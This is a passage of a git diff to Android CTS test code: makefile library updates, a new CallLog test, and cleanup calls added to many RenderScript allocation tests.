-}
\ No newline at end of file
+}
diff --git a/tests/tests/preference/Android.mk b/tests/tests/preference/Android.mk
index fa6f9c9..02ab636 100644
--- a/tests/tests/preference/Android.mk
+++ b/tests/tests/preference/Android.mk
@@ -23,7 +23,7 @@
 # Tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner legacy-android-test
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/tests/tests/preference2/Android.mk b/tests/tests/preference2/Android.mk
index 2fd94a6..a0b0da8 100644
--- a/tests/tests/preference2/Android.mk
+++ b/tests/tests/preference2/Android.mk
@@ -25,7 +25,7 @@
 # Tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner legacy-android-test
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/tests/tests/print/src/android/print/cts/BasePrintTest.java b/tests/tests/print/src/android/print/cts/BasePrintTest.java
index 7f0ae5d..b4d1c4c 100644
--- a/tests/tests/print/src/android/print/cts/BasePrintTest.java
+++ b/tests/tests/print/src/android/print/cts/BasePrintTest.java
@@ -17,12 +17,12 @@
 package android.print.cts;
 
 import static org.mockito.Matchers.any;
-import static org.mockito.Matchers.argThat;
 import static org.mockito.Matchers.eq;
 import static org.mockito.Mockito.doAnswer;
 import static org.mockito.Mockito.doCallRealMethod;
 import static org.mockito.Mockito.mock;
 import static org.mockito.Mockito.when;
+import static org.mockito.hamcrest.MockitoHamcrest.argThat;
 
 import android.content.Context;
 import android.content.pm.PackageManager;
diff --git a/tests/tests/provider/Android.mk b/tests/tests/provider/Android.mk
index 30d3e71..539a799 100644
--- a/tests/tests/provider/Android.mk
+++ b/tests/tests/provider/Android.mk
@@ -28,12 +28,10 @@
 # Tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts
 
-LOCAL_CTS_MODULE_CONFIG := $(LOCAL_PATH)/Old$(CTS_MODULE_TEST_CONFIG)
-
 LOCAL_JAVA_LIBRARIES := android.test.runner telephony-common
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    ctsdeviceutil ctstestrunner
+    ctsdeviceutil ctstestrunner junit legacy-android-test
 
 LOCAL_JNI_SHARED_LIBRARIES := libcts_jni libnativehelper_compat_libc++
 
diff --git a/tests/tests/provider/OldAndroidTest.xml b/tests/tests/provider/OldAndroidTest.xml
deleted file mode 100644
index bd22d8f..0000000
--- a/tests/tests/provider/OldAndroidTest.xml
+++ /dev/null
@@ -1,21 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
-  ~ Copyright (C) 2015 The Android Open Source Project
-  ~
-  ~ Licensed under the Apache License, Version 2.0 (the "License");
-  ~ you may not use this file except in compliance with the License.
-  ~ You may obtain a copy of the License at
-  ~
-  ~      http://www.apache.org/licenses/LICENSE-2.0
-  ~
-  ~ Unless required by applicable law or agreed to in writing, software
-  ~ distributed under the License is distributed on an "AS IS" BASIS,
-  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  ~ See the License for the specific language governing permissions and
-  ~ limitations under the License
-  -->
-<configuration description="Test module config for provider">
-    <include name="common-config" />
-    <option name="run-command:run-command"
-            value="ime enable android.provider.cts/.MockInputMethodService" />
-</configuration>
diff --git a/tests/tests/provider/src/android/provider/cts/CallLogTest.java b/tests/tests/provider/src/android/provider/cts/CallLogTest.java
new file mode 100644
index 0000000..77985c6
--- /dev/null
+++ b/tests/tests/provider/src/android/provider/cts/CallLogTest.java
@@ -0,0 +1,99 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.provider.cts;
+
+import android.content.ContentResolver;
+import android.content.ContentValues;
+import android.content.Context;
+import android.provider.CallLog;
+import android.test.InstrumentationTestCase;
+
+public class CallLogTest extends InstrumentationTestCase {
+
+    private static final String TEST_NUMBER = "5625698388";
+    private static final long CONTENT_RESOLVER_TIMEOUT_MS = 5000;
+
+    public void testGetLastOutgoingCall() {
+        // Clear call log and ensure there are no outgoing calls
+        Context context = getInstrumentation().getContext();
+        ContentResolver resolver = context.getContentResolver();
+        resolver.delete(CallLog.Calls.CONTENT_URI, null, null);
+
+        waitUntilConditionIsTrueOrTimeout(
+                new Condition() {
+                    @Override
+                    public Object expected() {
+                        return "";
+                    }
+
+                    @Override
+                    public Object actual() {
+                        return CallLog.Calls.getLastOutgoingCall(context);
+                    }
+                },
+                CONTENT_RESOLVER_TIMEOUT_MS,
+                "getLastOutgoingCall did not return empty after CallLog was cleared"
+        );
+
+        // Add a single call and verify it returns as last outgoing call
+        ContentValues values = new ContentValues();
+        values.put(CallLog.Calls.NUMBER, TEST_NUMBER);
+        values.put(CallLog.Calls.TYPE, Integer.valueOf(CallLog.Calls.OUTGOING_TYPE));
+        values.put(CallLog.Calls.DATE, Long.valueOf(0 /*start time*/));
+        values.put(CallLog.Calls.DURATION, Long.valueOf(5 /*call duration*/));
+
+        resolver.insert(CallLog.Calls.CONTENT_URI, values);
+
+        waitUntilConditionIsTrueOrTimeout(
+                new Condition() {
+                    @Override
+                    public Object expected() {
+                        return TEST_NUMBER;
+                    }
+
+                    @Override
+                    public Object actual() {
+                        return CallLog.Calls.getLastOutgoingCall(context);
+                    }
+                },
+                CONTENT_RESOLVER_TIMEOUT_MS,
+                "getLastOutgoingCall did not return " + TEST_NUMBER + " as expected"
+        );
+    }
+
+    private void waitUntilConditionIsTrueOrTimeout(Condition condition, long timeout,
+            String description) {
+        final long start = System.currentTimeMillis();
+        while (!condition.expected().equals(condition.actual())
+                && System.currentTimeMillis() - start < timeout) {
+            sleep(50);
+        }
+        assertEquals(description, condition.expected(), condition.actual());
+    }
+
+    protected interface Condition {
+        Object expected();
+        Object actual();
+    }
+
+    private void sleep(long ms) {
+        try {
+            Thread.sleep(ms);
+        } catch (InterruptedException e) {
+        }
+    }
+}
diff --git a/tests/tests/renderscript/Android.mk b/tests/tests/renderscript/Android.mk
index 00e751a..333ec1f 100644
--- a/tests/tests/renderscript/Android.mk
+++ b/tests/tests/renderscript/Android.mk
@@ -28,7 +28,10 @@
 # When built, explicitly put it in the data partition.
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner xmp_toolkit
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    ctstestrunner \
+    xmp_toolkit \
+    legacy-android-test
 LOCAL_JNI_SHARED_LIBRARIES := libcoremathtestcpp_jni
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src) $(call all-renderscript-files-under, src)
diff --git a/tests/tests/renderscript/libcoremathtestcpp/Android.mk b/tests/tests/renderscript/libcoremathtestcpp/Android.mk
index c62f20e..ad528571 100644
--- a/tests/tests/renderscript/libcoremathtestcpp/Android.mk
+++ b/tests/tests/renderscript/libcoremathtestcpp/Android.mk
@@ -32,5 +32,5 @@
 LOCAL_C_INCLUDES += frameworks/rs
 
 LOCAL_LDFLAGS := -llog -ldl
-LOCAL_STATIC_LIBRARIES := libRScpp_static libcutils
+LOCAL_STATIC_LIBRARIES := libRScpp_static
 include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/AllocationByteBufferTest.java b/tests/tests/renderscript/src/android/renderscript/cts/AllocationByteBufferTest.java
index 760a8ed..4f9e64a 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/AllocationByteBufferTest.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/AllocationByteBufferTest.java
@@ -65,6 +65,7 @@
                 byte byteInBuffer = bb.get(posY * stride + posX * vecWidth * byteSize);
                 assertEquals(byteInData, byteInBuffer);
             }
+            alloc.destroy();
         }
     }
 
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/AllocationCopy2DRangeTest.java b/tests/tests/renderscript/src/android/renderscript/cts/AllocationCopy2DRangeTest.java
index a549906..38aaeab 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/AllocationCopy2DRangeTest.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/AllocationCopy2DRangeTest.java
@@ -55,6 +55,9 @@
         mOutAllocation.copyTo(outArray);
         assertTrue("testAllocationCopy2DRange failed, output array does not match input",
                 compareTwoArrays(inArray, outArray, width*height));
+
+        mInAllocation.destroy();
+        mOutAllocation.destroy();
     }
 
     private boolean compareTwoArrays(int[] src, int[] dest, int size) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/AllocationCopyPaddedTest.java b/tests/tests/renderscript/src/android/renderscript/cts/AllocationCopyPaddedTest.java
index bb10716..7c56198 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/AllocationCopyPaddedTest.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/AllocationCopyPaddedTest.java
@@ -47,6 +47,7 @@
         }
         assertTrue("test_AllocationPadded_Byte3_1D Failed, output array does not match input",
                    result);
+        alloc.destroy();
     }
 
     public void test_AllocationPadded_Byte3_2D() {
@@ -75,6 +76,7 @@
         }
         assertTrue("test_AllocationPadded_Byte3_2D Failed, output array does not match input",
                    result);
+        alloc.destroy();
     }
 
     public void test_AllocationPadded_Byte3_3D() {
@@ -104,6 +106,7 @@
         }
         assertTrue("test_AllocationPadded_Byte3_3D Failed, output array does not match input",
                    result);
+        alloc.destroy();
     }
 
     void test_AllocationPadded_Short3_1D_Helper(Element element) {
@@ -134,6 +137,7 @@
         }
         assertTrue("test_AllocationPadded_Short3_1D_Helper Failed, output array does not match input",
                    result);
+        alloc.destroy();
     }
 
     public void test_AllocationPadded_Short3_1D() {
@@ -170,6 +174,7 @@
         }
         assertTrue("test_AllocationPadded_Short3_2D_Helper Failed, output array does not match input",
                    result);
+        alloc.destroy();
     }
 
     public void test_AllocationPadded_Short3_2D() {
@@ -207,6 +212,7 @@
         }
         assertTrue("test_AllocationPadded_Short3_3D_Helper Failed, output array does not match input",
                    result);
+        alloc.destroy();
     }
 
     public void test_AllocationPadded_Short3_3D() {
@@ -242,6 +248,7 @@
         }
         assertTrue("test_AllocationPadded_Int3_1D Failed, output array does not match input",
                    result);
+        alloc.destroy();
     }
 
     public void test_AllocationPadded_Int3_2D() {
@@ -273,6 +280,7 @@
         }
         assertTrue("test_AllocationPadded_Int3_2D Failed, output array does not match input",
                    result);
+        alloc.destroy();
     }
 
     public void test_AllocationPadded_Int3_3D() {
@@ -305,6 +313,7 @@
         }
         assertTrue("test_AllocationPadded_Int3_3D Failed, output array does not match input",
                    result);
+        alloc.destroy();
     }
 
     public void test_AllocationPadded_Float3_1D() {
@@ -335,6 +344,7 @@
         }
         assertTrue("test_AllocationPadded_Float3_1D Failed, output array does not match input",
                    result);
+        alloc.destroy();
     }
     public void test_AllocationPadded_Float3_2D() {
         Random random = new Random(0x172d8ab9);
@@ -365,6 +375,7 @@
         }
         assertTrue("test_AllocationPadded_Float3_2D Failed, output array does not match input",
                    result);
+        alloc.destroy();
     }
     public void test_AllocationPadded_Float3_3D() {
         Random random = new Random(0x172d8ab9);
@@ -396,6 +407,7 @@
         }
         assertTrue("test_AllocationPadded_Float3_3D Failed, output array does not match input",
                    result);
+        alloc.destroy();
     }
 
     public void test_AllocationPadded_Double3_1D() {
@@ -426,6 +438,7 @@
         }
         assertTrue("test_AllocationPadded_Double3_1D Failed, output array does not match input",
                    result);
+        alloc.destroy();
     }
     public void test_AllocationPadded_Double3_2D() {
         Random random = new Random(0x172d8ab9);
@@ -456,6 +469,7 @@
         }
         assertTrue("test_AllocationPadded_Double3_2D Failed, output array does not match input",
                    result);
+        alloc.destroy();
     }
     public void test_AllocationPadded_Double3_3D() {
         Random random = new Random(0x172d8ab9);
@@ -487,6 +501,7 @@
         }
         assertTrue("test_AllocationPadded_Double3_3D Failed, output array does not match input",
                    result);
+        alloc.destroy();
     }
 
     public void test_AllocationPadded_Long3_1D() {
@@ -517,6 +532,7 @@
         }
         assertTrue("test_AllocationPadded_Long3_1D Failed, output array does not match input",
                    result);
+        alloc.destroy();
     }
 
     public void test_AllocationPadded_Long3_2D() {
@@ -548,6 +564,7 @@
         }
         assertTrue("test_AllocationPadded_Long3_2D Failed, output array does not match input",
                    result);
+        alloc.destroy();
     }
 
     public void test_AllocationPadded_Long3_3D() {
@@ -580,6 +597,7 @@
         }
         assertTrue("test_AllocationPadded_Long3_3D Failed, output array does not match input",
                    result);
+        alloc.destroy();
     }
 
 
@@ -616,6 +634,7 @@
         }
         assertTrue("test_AllocationPadded_copy1DRangeTo_Byte3, output array does not match input",
                    result);
+        alloc.destroy();
     }
 
     void test_AllocationPadded_copy1DRangeTo_Short3_Helper(Element element) {
@@ -654,6 +673,7 @@
         }
         assertTrue("test_AllocationPadded_copy1DRangeTo_Short3_Helper Failed, output array does not match input",
                    result);
+        alloc.destroy();
     }
 
     public void test_AllocationPadded_copy1DRangeTo_Short3() {
@@ -697,6 +717,7 @@
         }
         assertTrue("test_AllocationPadded_copy1DRangeTo_Int3 Failed, output array does not match input",
                    result);
+        alloc.destroy();
     }
 
     public void test_AllocationPadded_copy1DRangeTo_Float3() {
@@ -735,6 +756,7 @@
         }
         assertTrue("test_AllocationPadded_copy1DRangeTo_Float3 Failed, output array does not match input",
                    result);
+        alloc.destroy();
     }
 
     public void test_AllocationPadded_copy1DRangeTo_Long3() {
@@ -773,6 +795,7 @@
         }
         assertTrue("test_AllocationPadded_copy1DRangeTo_Long3 Failed, output array does not match input",
                    result);
+        alloc.destroy();
     }
 
     public void test_AllocationPadded_copy2DRangeTo_Byte3() {
@@ -805,6 +828,7 @@
         }
         assertTrue("test_AllocationPadded_copy2DRangeTo_Byte3 Failed, output array does not match input",
                    result);
+        alloc.destroy();
     }
 
     void test_AllocationPadded_copy2DRangeTo_Short3_Helper(Element element) {
@@ -840,6 +864,7 @@
         }
         assertTrue("test_AllocationPadded_copy2DRangeTo_Short3_Helper Failed, output array does not match input",
                    result);
+        alloc.destroy();
     }
 
     public void test_AllocationPadded_copy2DRangeTo_Short3() {
@@ -880,6 +905,7 @@
         }
         assertTrue("test_AllocationPadded_copy2DRangeTo_Int3 Failed, output array does not match input",
                    result);
+        alloc.destroy();
     }
 
     public void test_AllocationPadded_copy2DRangeTo_Float3() {
@@ -915,6 +941,7 @@
         }
         assertTrue("test_AllocationPadded_copy2DRangeTo_Float3 Failed, output array does not match input",
                    result);
+        alloc.destroy();
     }
 
     public void test_AllocationPadded_copy2DRangeTo_Long3() {
@@ -950,6 +977,7 @@
         }
         assertTrue("test_AllocationPadded_copy2DRangeTo_Long3 Failed, output array does not match input",
                    result);
+        alloc.destroy();
     }
 
 
@@ -986,6 +1014,7 @@
         }
         assertTrue("test_AllocationPadded_copy1DRangeToUnchecked_Byte3 Failed, output array does not match input",
                    result);
+        alloc.destroy();
     }
 
     void test_AllocationPadded_copy1DRangeToUnchecked_Short3_Helper(Element element) {
@@ -1024,6 +1053,7 @@
         }
         assertTrue("test_AllocationPadded_copy1DRangeToUnchecked_Short3_Helper Failed, output array does not match input",
                    result);
+        alloc.destroy();
     }
 
     public void test_AllocationPadded_copy1DRangeToUnchecked_Short3() {
@@ -1067,6 +1097,7 @@
         }
         assertTrue("test_AllocationPadded_copy1DRangeToUnchecked_Int3 Failed, output array does not match input",
                    result);
+        alloc.destroy();
     }
 
     public void test_AllocationPadded_copy1DRangeToUnchecked_Float3() {
@@ -1105,6 +1136,7 @@
         }
         assertTrue("test_AllocationPadded_copy1DRangeToUnchecked_Float3 Failed, output array does not match input",
                    result);
+        alloc.destroy();
     }
 
     public void test_AllocationPadded_copy1DRangeToUnchecked_Long3() {
@@ -1143,5 +1175,6 @@
         }
         assertTrue("test_AllocationPadded_copy1DRangeToUnchecked_Long3 Failed, output array does not match input",
                    result);
+        alloc.destroy();
     }
 }
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/AllocationCopyToTest.java b/tests/tests/renderscript/src/android/renderscript/cts/AllocationCopyToTest.java
index 0c1f773..f2011b6 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/AllocationCopyToTest.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/AllocationCopyToTest.java
@@ -24,6 +24,14 @@
 public class AllocationCopyToTest extends RSBaseCompute {
     private Allocation alloc;
 
+    @Override
+    protected void tearDown() throws Exception {
+        if (alloc != null) {
+            alloc.destroy();
+        }
+        super.tearDown();
+    }
+
     public void test_Allocationcopy1DRangeTo_Byte() {
         Random random = new Random(0x172d8ab9);
         int width = random.nextInt(512);
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/AllocationCreateAllocationsTest.java b/tests/tests/renderscript/src/android/renderscript/cts/AllocationCreateAllocationsTest.java
index 986704e..a340fa5 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/AllocationCreateAllocationsTest.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/AllocationCreateAllocationsTest.java
@@ -46,6 +46,9 @@
         Allocation[] allocArray;
         allocArray = createAllocationsHelper(usage, numAlloc);
         assertTrue("failed to create AllocationQueue", allocArray != null);
+        for (Allocation a : allocArray) {
+            a.destroy();
+        }
     }
 
     public void testCreateAllocations_USAGE_IO_INPUT() {
@@ -61,6 +64,9 @@
         numAlloc = 10;
         allocArray = createAllocationsHelper(usage, numAlloc);
         assertTrue("failed to create AllocationQueue", allocArray != null);
+        for (Allocation a : allocArray) {
+            a.destroy();
+        }
     }
 
     public void testGetProperties() {
@@ -86,6 +92,9 @@
             assertTrue("Surface mismatch between AllocationQueue and Allocation",
                        s.equals(sRef));
         }
+        for (Allocation a : allocArray) {
+            a.destroy();
+        }
     }
 
     public void testMultipleIoReceive_USAGE_IO_INPUT() {
@@ -112,5 +121,9 @@
                 assertTrue("IoReceive Failed, Frame: " + i, dataIn[j] == dataOut[j]);
             }
         }
+        for (Allocation a : allocArray) {
+            a.destroy();
+        }
+        inputAlloc.destroy();
     }
 }
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/AllocationTest.java b/tests/tests/renderscript/src/android/renderscript/cts/AllocationTest.java
index 27315dd..84ebee7 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/AllocationTest.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/AllocationTest.java
@@ -45,7 +45,7 @@
                         typeBuilder.setMipmaps(useMips);
                         typeBuilder.setFaces(useFaces);
                         typeBuilder.setX(x).setY(y);
-                        Allocation.createTyped(mRS, typeBuilder.create());
+                        Allocation.createTyped(mRS, typeBuilder.create()).destroy();
                     }
                 }
             }
@@ -58,48 +58,48 @@
         Type.Builder typeBuilder = new Type.Builder(mRS, e);
         Allocation.createTyped(mRS, typeBuilder.setX(8).create(),
                                MipmapControl.MIPMAP_NONE,
-                               Allocation.USAGE_GRAPHICS_TEXTURE);
+                               Allocation.USAGE_GRAPHICS_TEXTURE).destroy();
         Allocation.createTyped(mRS, typeBuilder.setY(8).create(),
                                MipmapControl.MIPMAP_NONE,
-                               Allocation.USAGE_GRAPHICS_TEXTURE);
+                               Allocation.USAGE_GRAPHICS_TEXTURE).destroy();
         // No mips graphics and script
         Allocation.createTyped(mRS, typeBuilder.create(),
                                MipmapControl.MIPMAP_NONE,
                                Allocation.USAGE_GRAPHICS_TEXTURE |
-                               Allocation.USAGE_SCRIPT);
+                               Allocation.USAGE_SCRIPT).destroy();
         // With mips
         Allocation.createTyped(mRS, typeBuilder.create(),
                                MipmapControl.MIPMAP_ON_SYNC_TO_TEXTURE,
-                               Allocation.USAGE_GRAPHICS_TEXTURE);
+                               Allocation.USAGE_GRAPHICS_TEXTURE).destroy();
         Allocation.createTyped(mRS, typeBuilder.create(),
                                MipmapControl.MIPMAP_FULL,
                                Allocation.USAGE_GRAPHICS_TEXTURE |
-                               Allocation.USAGE_SCRIPT);
+                               Allocation.USAGE_SCRIPT).destroy();
 
         // Only texture npot
         Allocation.createTyped(mRS, typeBuilder.setX(7).setY(1).create(),
                                MipmapControl.MIPMAP_NONE,
-                               Allocation.USAGE_GRAPHICS_TEXTURE);
+                               Allocation.USAGE_GRAPHICS_TEXTURE).destroy();
         Allocation.createTyped(mRS, typeBuilder.setX(7).setY(3).create(),
                                MipmapControl.MIPMAP_NONE,
-                               Allocation.USAGE_GRAPHICS_TEXTURE);
+                               Allocation.USAGE_GRAPHICS_TEXTURE).destroy();
         Allocation.createTyped(mRS, typeBuilder.setX(7).setY(7).create(),
                                MipmapControl.MIPMAP_NONE,
-                               Allocation.USAGE_GRAPHICS_TEXTURE);
+                               Allocation.USAGE_GRAPHICS_TEXTURE).destroy();
 
         // Script and texture
         Allocation.createTyped(mRS, typeBuilder.setX(7).setY(1).create(),
                                MipmapControl.MIPMAP_NONE,
                                Allocation.USAGE_GRAPHICS_TEXTURE |
-                               Allocation.USAGE_SCRIPT);
+                               Allocation.USAGE_SCRIPT).destroy();
         Allocation.createTyped(mRS, typeBuilder.setX(7).setY(3).create(),
                                MipmapControl.MIPMAP_NONE,
                                Allocation.USAGE_GRAPHICS_TEXTURE |
-                               Allocation.USAGE_SCRIPT);
+                               Allocation.USAGE_SCRIPT).destroy();
         Allocation.createTyped(mRS, typeBuilder.setX(7).setY(7).create(),
                                MipmapControl.MIPMAP_NONE,
                                Allocation.USAGE_GRAPHICS_TEXTURE |
-                               Allocation.USAGE_SCRIPT);
+                               Allocation.USAGE_SCRIPT).destroy();
     }
 
     void createSizedHelper(Element e) {
@@ -107,6 +107,7 @@
             Allocation A = Allocation.createSized(mRS, e, i);
             assertEquals(A.getType().getElement(), e);
             assertEquals(A.getType().getX(), i);
+            A.destroy();
         }
     }
 
@@ -205,10 +206,8 @@
                         u |= (j * Allocation.USAGE_GRAPHICS_TEXTURE);
                         u |= (k * Allocation.USAGE_GRAPHICS_VERTEX);
                         u |= (l * Allocation.USAGE_GRAPHICS_CONSTANTS);
-                        assertTrue(null !=
-                            Allocation.createFromBitmap(mRS, B, mc, u));
-                        assertTrue(null !=
-                            Allocation.createCubemapFromBitmap(mRS, B, mc, u));
+                        Allocation.createFromBitmap(mRS, B, mc, u).destroy();
+                        Allocation.createCubemapFromBitmap(mRS, B, mc, u).destroy();
                     }
                 }
             }
@@ -217,8 +216,8 @@
 
     public void testCreateFromBitmap() {
         Bitmap B = Bitmap.createBitmap(bDimX, bDimY, Bitmap.Config.ARGB_8888);
-        Allocation.createFromBitmap(mRS, B);
-        Allocation.createCubemapFromBitmap(mRS, B);
+        Allocation.createFromBitmap(mRS, B).destroy();
+        Allocation.createCubemapFromBitmap(mRS, B).destroy();
         for (Allocation.MipmapControl mc : Allocation.MipmapControl.values()) {
             helperCreateFromBitmap(B, mc);
         }
@@ -226,7 +225,7 @@
         try {
             int invalidUsage = 0x0100;
             Allocation.createFromBitmap(mRS, B,
-                Allocation.MipmapControl.MIPMAP_NONE, invalidUsage);
+                Allocation.MipmapControl.MIPMAP_NONE, invalidUsage).destroy();
             fail("should throw RSIllegalArgumentException.");
         } catch (RSIllegalArgumentException e) {
         }
@@ -235,7 +234,7 @@
             // width % 6 != 0
             Bitmap badB = Bitmap.createBitmap(47, 8, Bitmap.Config.ARGB_8888);
             Allocation.createCubemapFromBitmap(mRS, badB,
-                Allocation.MipmapControl.MIPMAP_NONE, Allocation.USAGE_SCRIPT);
+                Allocation.MipmapControl.MIPMAP_NONE, Allocation.USAGE_SCRIPT).destroy();
             fail("should throw RSIllegalArgumentException.");
         } catch (RSIllegalArgumentException e) {
         }
@@ -244,7 +243,7 @@
             // width / 6 != height
             Bitmap badB = Bitmap.createBitmap(48, 4, Bitmap.Config.ARGB_8888);
             Allocation.createCubemapFromBitmap(mRS, badB,
-                Allocation.MipmapControl.MIPMAP_NONE, Allocation.USAGE_SCRIPT);
+                Allocation.MipmapControl.MIPMAP_NONE, Allocation.USAGE_SCRIPT).destroy();
             fail("should throw RSIllegalArgumentException.");
         } catch (RSIllegalArgumentException e) {
         }
@@ -253,7 +252,7 @@
             // height not power of 2
             Bitmap badB = Bitmap.createBitmap(36, 6, Bitmap.Config.ARGB_8888);
             Allocation.createCubemapFromBitmap(mRS, badB,
-                Allocation.MipmapControl.MIPMAP_NONE, Allocation.USAGE_SCRIPT);
+                Allocation.MipmapControl.MIPMAP_NONE, Allocation.USAGE_SCRIPT).destroy();
             fail("should throw RSIllegalArgumentException.");
         } catch (RSIllegalArgumentException e) {
         }
@@ -273,7 +272,7 @@
             Type.Builder b = new Type.Builder(mRS, Element.U8(mRS));
             b.setX(8).setY(8);
             Allocation.createTyped(mRS, b.create(), mc,
-                                   Allocation.USAGE_GRAPHICS_TEXTURE);
+                                   Allocation.USAGE_GRAPHICS_TEXTURE).destroy();
         }
     }
 
@@ -287,6 +286,8 @@
         for (Type.CubemapFace cf : Type.CubemapFace.values()) {
             adapter.setFace(cf);
         }
+
+        cubemap.destroy();
     }
 
     /*
@@ -315,6 +316,8 @@
         for (int i = 0; i < count; i++) {
             assertEquals(dst[offset + i], src[i]);
         }
+
+        A.destroy();
     }
 
     void helperByteCopy(int nElems, int offset, int count, int copyMode) {
@@ -339,6 +342,8 @@
         for (int i = 0; i < count; i++) {
             assertEquals(dst[offset + i], src[i]);
         }
+
+        A.destroy();
     }
 
     // Accept an Element parameter so this helper can test both I16 and F16 elements.
@@ -364,6 +369,8 @@
         for (int i = 0; i < count; i++) {
             assertEquals(dst[offset + i], src[i]);
         }
+
+        A.destroy();
     }
 
     void helperIntCopy(int nElems, int offset, int count, int copyMode) {
@@ -388,6 +395,8 @@
         for (int i = 0; i < count; i++) {
             assertEquals(dst[offset + i], src[i]);
         }
+
+        A.destroy();
     }
 
     void helperBaseObjCopy(int nElems, int offset, int count, int copyMode) {
@@ -399,6 +408,8 @@
         }
 
         A.copyFrom(E);
+
+        A.destroy();
     }
 
     void helperBitmapCopy(int x, int y) {
@@ -427,6 +438,8 @@
                 assertEquals(bSrc.getPixel(i, j), bDst.getPixel(i, j));
             }
         }
+
+        A.destroy();
     }
 
     void helperFloatAllocationCopy(int nElems, int offset, int count) {
@@ -451,6 +464,9 @@
         for (int i = 0; i < count; i++) {
             assertEquals(dst[offset + i], src[offset + i]);
         }
+
+        srcA.destroy();
+        dstA.destroy();
     }
 
     void helperByteAllocationCopy(int nElems, int offset, int count) {
@@ -475,6 +491,9 @@
         for (int i = 0; i < count; i++) {
             assertEquals(dst[offset + i], src[offset + i]);
         }
+
+        srcA.destroy();
+        dstA.destroy();
     }
 
     void helperFloatCopy2D(int nElemsX, int nElemsY,
@@ -502,6 +521,8 @@
                 assertEquals(dst[y * nElemsX + x], src[sourceCount--]);
             }
         }
+
+        A.destroy();
     }
 
     void helperByteCopy2D(int nElemsX, int nElemsY,
@@ -529,6 +550,8 @@
                 assertEquals(dst[y * nElemsX + x], src[sourceCount--]);
             }
         }
+
+        A.destroy();
     }
 
     // Accept an Element parameter so this helper can test both I16 and F16 elements.
@@ -557,6 +580,8 @@
                 assertEquals(dst[y * nElemsX + x], src[sourceCount--]);
             }
         }
+
+        A.destroy();
     }
 
     void helperIntCopy2D(int nElemsX, int nElemsY,
@@ -584,6 +609,8 @@
                 assertEquals(dst[y * nElemsX + x], src[sourceCount--]);
             }
         }
+
+        A.destroy();
     }
 
     void helperFloatAllocationCopy2D(int nElemsX, int nElemsY,
@@ -610,6 +637,9 @@
                 assertEquals(dst[y * nElemsX + x], src[y * nElemsX + x]);
             }
         }
+
+        srcA.destroy();
+        dstA.destroy();
     }
 
     void helperByteAllocationCopy2D(int nElemsX, int nElemsY,
@@ -636,6 +666,9 @@
                 assertEquals(dst[y * nElemsX + x], src[y * nElemsX + x]);
             }
         }
+
+        srcA.destroy();
+        dstA.destroy();
     }
 
     static int elemsToTest = 20;
@@ -740,6 +773,12 @@
 
         dstA.copyFrom(srcA);
 
+        srcA.destroy();
+        dstA.destroy();
+        srcB_bad.destroy();
+        srcC_bad.destroy();
+        srcD_bad.destroy();
+        srcE_bad.destroy();
     }
 
     public void testSetElementAt() {
@@ -764,6 +803,10 @@
         script.forEach_getCompareResult(singleElement);
         singleElement.copyTo(result);
         assertTrue(result[0] == 2);
+
+        script.destroy();
+        singleElement.destroy();
+        largeArray.destroy();
     }
 
     public void testSetElementAt2D() {
@@ -790,6 +833,10 @@
         script.forEach_getCompareResult(singleElement);
         singleElement.copyTo(result);
         assertTrue(result[0] == 2);
+
+        script.destroy();
+        singleElement.destroy();
+        largeArray.destroy();
     }
 
   public void testDimReturnsZero() {
@@ -817,6 +864,7 @@
     assertTrue(a.getType().getY() == 0);
     assertTrue(a.getType().getZ() == 0);
     a.destroy();
+
     b = new Type.Builder(mRS, Element.F32(mRS)).setX(102).setY(123);
     a = Allocation.createTyped(mRS, b.create());
 
@@ -824,6 +872,7 @@
     assertTrue(a.getType().getY() == 123);
     assertTrue(a.getType().getZ() == 0);
     a.destroy();
+
     b = new Type.Builder(mRS, Element.F32(mRS)).setX(2).setY(33).setZ(23);
     a = Allocation.createTyped(mRS, b.create());
 
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/AtomicTest.java b/tests/tests/renderscript/src/android/renderscript/cts/AtomicTest.java
index a0e3b7a..ab09384 100644
